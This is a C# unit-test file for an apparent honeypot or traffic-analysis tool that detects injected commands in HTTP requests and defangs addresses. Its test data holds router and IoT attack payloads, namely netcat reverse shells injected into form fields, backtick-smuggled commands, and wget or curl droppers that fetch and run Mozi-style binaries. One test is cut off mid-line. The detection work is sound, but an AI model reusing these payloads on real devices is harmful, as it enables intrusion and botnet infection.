using Flypaper.Core.Analysis; using Shouldly; namespace Flypaper.Tests.Core; public sealed class CommandDetectorTests { [Theory] [InlineData("submit-url=%2Fsyscmd.asp&sysCmd=nc+192.0.2.7+4545%7Csh&save=&adsldbg=0", "sysCmd=nc 192.0.2.7 4545|sh", "192.0.2.7:4545")] [InlineData("target_addr=nc+192.0.2.7+4545%7Csh&waninf=0", "target_addr=nc 192.0.2.7 4545|sh", "192.0.2.7:4545")] [InlineData("pingAddr=%60nc+192.0.2.7+4545%7Csh%60&wanif=65535&go=+Ping", "pingAddr=`nc 192.0.2.7 4545|sh`", "192.0.2.7:4545")] public void Finds_commands_in_form_bodies(string body, string command, string server) { var found = CommandDetector.Detect("POST host/boaform/admin/formSysCmd", null, body).ShouldNotBeNull(); found.Command.ShouldBe(command); found.Server.ShouldBe(server); } [Theory] [InlineData("GET h/device.rsp?opt=sys&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F192.0.2.9%2Farm7%3B%20chmod%20777%20%2A", "192.0.2.9")] [InlineData("GET h/setup.cgi?cmd=rm+-rf+/tmp/*;wget+http://192.0.2.9:32791/Mozi.m+-O+/tmp/netgear;sh+netgear", "192.0.2.9:32791")] [InlineData("GET h/shell?cd+/tmp;rm+-rf+*;wget+http://192.0.2.9:11629/Mozi.a;chmod+777+Mozi.a", "192.0.2.9:11629")] [InlineData("GET h/x?c=curl%20-s%20-o%20/tmp/a%20https://bad.example/a.sh", "bad.example")] public void Finds_download_servers_in_the_path(string target, string server) => CommandDetector.Detect(target, null, null).ShouldNotBeNull().Server.ShouldBe(server); [Fact] public void Finds_injected_php_code_without_a_server() { var found = CommandDetector.Detect("POST h/php-cgi/php-cgi.exe", null, "").ShouldNotBeNull(); found.Command.ShouldStartWith(" CommandDetector.Detect(target, headers, body).ShouldBeNull(); [Fact] public void Limits_long_commands_and_removes_control_characters() { var body = new string('a', 2000) + "\r\nwget http://192.0.2.9/x " + new string('b', 2000); var found = CommandDetector.Detect("POST h/", null, body).ShouldNotBeNull(); found.Command.Length.ShouldBeLessThanOrEqualTo(CommandDetector.MaxCommandLength); found.Command.ShouldContain("wget http://192.0.2.9/x"); found.Command.ShouldNotContain("\n"); } [Theory] [InlineData("nc 192.0.2.7 4545|sh", "nc 192[.]0[.]2[.]7 4545|sh")] [InlineData("wget http://bad.example/a.sh -O /tmp/a.sh", "wget hxxp://bad[.]example/a.sh -O /tmp/a.sh")] [InlineData("curl https://192.0.2.9:80/x", "curl hxxps://192[.]0[.]2[.]9:80/x")] public void Defang_breaks_addresses_so_they_cannot_be_opened(string command, string expected) => Defang.Text(command).ShouldBe(expected); }